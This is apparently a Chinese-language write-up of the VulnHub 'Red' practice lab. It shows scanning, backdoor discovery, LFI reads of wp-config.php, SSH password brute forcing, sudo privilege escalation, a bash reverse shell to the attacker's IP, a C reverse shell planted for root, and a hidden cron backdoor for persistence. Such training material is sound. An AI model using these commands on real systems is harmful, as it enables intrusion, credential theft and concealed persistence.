靶机下载地址:https://www.vulnhub.com/entry/red-1,753/
教程链接地址 1:https://readysetexploit.wordpress.com/2021/11/02/hacking-lab-red/
教程链接地址 2:https://blog.csdn.net/YouthBelief/article/details/122458705
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 RED:桥接于 192.168.31.1 的网卡,ip 未知
-
通过 netdiscover 扫描当前网卡里边有哪些机器
sudo netdiscover -i eth0 -r 192.168.31.0/24
-
将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1 | shell |
- 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
sudo nmap -PA 192.168.31.107 --excludefile myip.txt

-> 目标机器的 ip 地址: 192.168.31.14
- 确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.14 -oN /tmp/red.txt

-> 靶机开放端口 22, 80
# 修改本地 hosts
打开 http://192.168.31.14 进行信息收集
点击 “Hello Blue” 发现一个跳转界面,无法打开
修改本地 hosts 文件 /etc/hosts, 改变 DNS 解析记录
192.168.31.14 redrocks.win
重新打开 url 地址,发现这里说网站已被攻击,并且有后门文件
http://redrocks.win/2021/10/24/hello-world/
审查源代码,找到 Mr.Miessler 这个提示
通过搜索,找到了这个人是 SecLists 的开发者
# seclists 字典
Seclists 是一个全面的字典,包括用户名、密码、URL、敏感数据模式、模糊测试负载、Web Shell 等等,在 kali 中 apt - y install seclists 安装,我们现在要想办法扫出来已被攻击服务器上的后门文件
1 | 利用gobuster加载seclists中的通用后门字典进行扫描。 |
找到一个后门文件 NetworkFileManagerPHP.php
这应该就是后门文件了,但是我们没有参数值,需要爆破
# wfuzz 爆破参数
1 | 利用wfuzz加载seclists中的爆破参数名字的字典进行爆破 |

得到的结果是 key 的返回值是 200
-> 可以构造 http://redrocks.win/NetworkFileManagerPHP.php?key=xxx 访问
# lfi 文件包含漏洞
尝试使用文件包含协议进行访问敏感文件
http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
尝试获取 NetworkFileManagerPHP.php 的源码
http://redrocks.win/NetworkFileManagerPHP.php?key=NetworkFileManagerPHP.php
发现内容显示不了,我们需要配合其他协议
尝试用 php://filter/read=convert.base6 4 - encode/resource=xxx.php
的 filter 协议去读取一些敏感文件
http://redrocks.win/NetworkFileManagerPHP.php/NetworkFileManagerPHP.php?key
=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
对字符串进行 base64 解密
继续读取文件,发现暗藏了一个 base64 密文,再次解密
这里说是 “这个密码并不能帮助您!Hashcat 说规则就是规则”
由于网站是 wordpress 搭建的,我们可以去访问数据库信息获取一些配置文
件,我们通过文件包含漏洞访问 wp-config.php 查看配置文件信息
http://redrocks.win/NetworkFileManagerPHP.php/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
通过 echo “xx” | base64 - d 的方式解密,得到数据库配置信息
-> 用户名:john 密码:R3v_m4lwh3r3_k1nG!!
# hashcut 使用
hashcat 生成密码对应的字典,hydra 连接 ssh
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > pass2.txt
用 hydra 选择用户 john,密码为 hashcat 生成的字典进行连接 ssh
hydra -l john -P pass2.txt ssh://192.168.31.14 -f -t 4 -vV -o hydra.ssh
-> 用户名:join 密码:R3v_m4lwh3r3_k1nG!!21
# sudo (time) 提权
尝试登陆服务器的时候,发现密码是错误的
再次用 hydra 破解 ssh 爆破,果然得到了不一样的密码,可能密码会定时修改
登陆服务器,sudo -l 发现有 time 可提权
在 https://gtfobins.github.io/ 上找到提权命令,进行权限升级
sudo -u ippsec /usr/bin/time /bin/bash
此会话窗口不稳定,间断性的被中断,而且密码每隔一段时间都会被修改,因此我们需要反弹出来一个稳定的 shell
bash -i >& /dev/tcp/192.168.31.135/4445 0>&1
通过此命令反弹出来的 shell 仍然会被中断
1 | 选择加载到/dev/shm/中来反弹shell,命令cat被改写用echo替代 |

当原来的终端再次被强制退出的时候,我们的新终端貌似也出了一些意外
我们只需要再次输入 python3 -c ‘import pty;pty.spawn ("/bin/bash")’, 即可获得一个标准化的终端
# pspy64s 监控
1 | 寻找一些ippsec可以访问的东西 |

发现我们可以访问位于 wordpress 目录中的 .git 目录
我们的终端一直在弹出消息,而且这个消息是在 ippsec 上执行的
1 | 现在我们可以运行pspy64s检查 Red 是否正在执行我们在/var/www/wordpress/.git 目录中找到的文件 |

看到 /usr/bin/gcc/var/www/wordpress/.git/supersecretfileuc.c -o /var/www/wordpress/.git/rev 被执行
现在我们已经很明确了,supersecretfileuc.c 这个文件会被执行
而且是调用 root 权限去执行的这个文件,需要一个 c 的反弹 shell 的代码
# 各种语言反弹
各种语言反弹 shell 的代码:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#c
重新编辑 supersecretfileuc.c 这个文件
并在 4444 端口出监听
-> 至此拿到了 root 权限,提权成功
# cat 配合 cron 维权
1 | 编写python程序显示如下内容: |

1 | python3 -m http.server 80 |

1 | 用py执行此文件后,会生成 /root/.test.sh |

1 | 成功反弹出去,实现了cat隐藏木马,将此文件加入到计划文件中: |
-> cron 中同样是被隐藏的计划任务,只要我们 nc -lvvp 4449 等待上线即可